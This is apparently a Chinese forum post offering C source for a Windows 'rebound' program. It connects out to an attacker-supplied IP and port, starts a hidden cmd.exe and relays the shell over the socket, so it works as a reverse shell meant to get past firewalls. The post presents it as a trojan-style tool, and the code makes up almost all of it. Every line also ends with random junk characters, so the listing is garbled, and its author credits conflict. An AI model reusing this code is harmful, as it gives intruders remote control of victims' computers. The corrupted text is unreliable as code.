这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^! ^8]u<Q
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/* ============================== $5nOi aQL
Rebound port in Windows NT ,vP9oY[n
By wind,2006/7 *=}$@OS
===============================*/ mJb>)bOl
#include R:YX{Tq
#include (PU0\bGA
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#pragma comment(lib,"wsock32.lib") ewB&PR
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void OutputShell(); (A`/3Aq+
SOCKET sClient; Z[KXDQn8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :av6*&+
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void main(int argc,char **argv) S*rgYe!E
{ m *8[I
WSADATA stWsaData; k!O#6Z
int nRet; 7)G- EAF
SOCKADDR_IN stSaiClient,stSaiServer; Y~RPspHW
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if(argc != 3) oz%ZEi\bW
{ Ac<V!v71
printf("Useage:\n\rRebound DestIP DestPort\n"); A:[La#h|p
return; 9ET2uDZpL
} a?E]-Zf
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WSAStartup(MAKEWORD(2,2),&stWsaData); <||F$t
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2qKo|'gL`
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stSaiClient.sin_family = AF_INET; "t~I;%$[
stSaiClient.sin_port = htons(0); t*y4)I !gR
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gt6*x=RCrQ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G+AD
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{ `zRgP#
printf("Bind Socket Failed!\n"); zMt "ST.
return; fm87?RgXD
} F%bv
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stSaiServer.sin_family = AF_INET; ,%mTKOs
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "R+
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z,}1K!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *aS|4M-
{ i;*c|ma1>
printf("Connect Error!"); \bqNjlu
return; e"hm|'
} 8^&)A b
OutputShell(); `da6}Vqj:
} \`jFy[(Pa'
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void OutputShell() I(P|`"
{ ygS*))7
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char szBuff[1024]; rw8O<No4.o
SECURITY_ATTRIBUTES stSecurityAttributes; zA9N<0[]o
OSVERSIONINFO stOsversionInfo; 4O9HoX#-?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9z\q_0&i
STARTUPINFO stStartupInfo; 7!hL(k[
char *szShell; c)#b*k,lw<
PROCESS_INFORMATION stProcessInformation; B~- VGT2o
unsigned long lBytesRead; ch1EF/"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m LPQ5`_
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (' /S~
stSecurityAttributes.lpSecurityDescriptor = 0; djqSW9
stSecurityAttributes.bInheritHandle = TRUE; ii2X7Q
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,;;M69c[
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7 ;|jq39
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F0o7XUt
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MG[?C2KA/
stStartupInfo.wShowWindow = SW_HIDE; 6.~HbN
stStartupInfo.hStdInput = hReadPipe; 'SYj Ehvw
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [{6]i J
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GetVersionEx(&stOsversionInfo); i' %V}2
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switch(stOsversionInfo.dwPlatformId) &at>pV3_
{ .sAcnf"
case 1: Se*ZQtwE
szShell = "command.com"; VhT4c+Zs
break; ymY,*Rb
default: {F6hx9?
szShell = "cmd.exe"; gEIjG
break; {Mp>+e@xx
} $n(?oyf
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |q^e&M<
bd_U%0)pi1
send(sClient,szMsg,77,0); uh\I'
while(1) \! Os!s
{ ? =_l=dR
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0gm+R3;k^
if(lBytesRead) Itr yiU9
{ ~PHAC@pU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #AyM!
send(sClient,szBuff,lBytesRead,0); *ls}r5k2Y
} 7 '2E-#^
else U;i:k%Bzy
{ P%xk
lBytesRead=recv(sClient,szBuff,1024,0); Z7JI4"
if(lBytesRead<=0) break; A~\:}PN
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L,[0*h
} 5Jp@n .
} '-D-H}%;}M
&w*.S@ ;
return; L/%3_,
}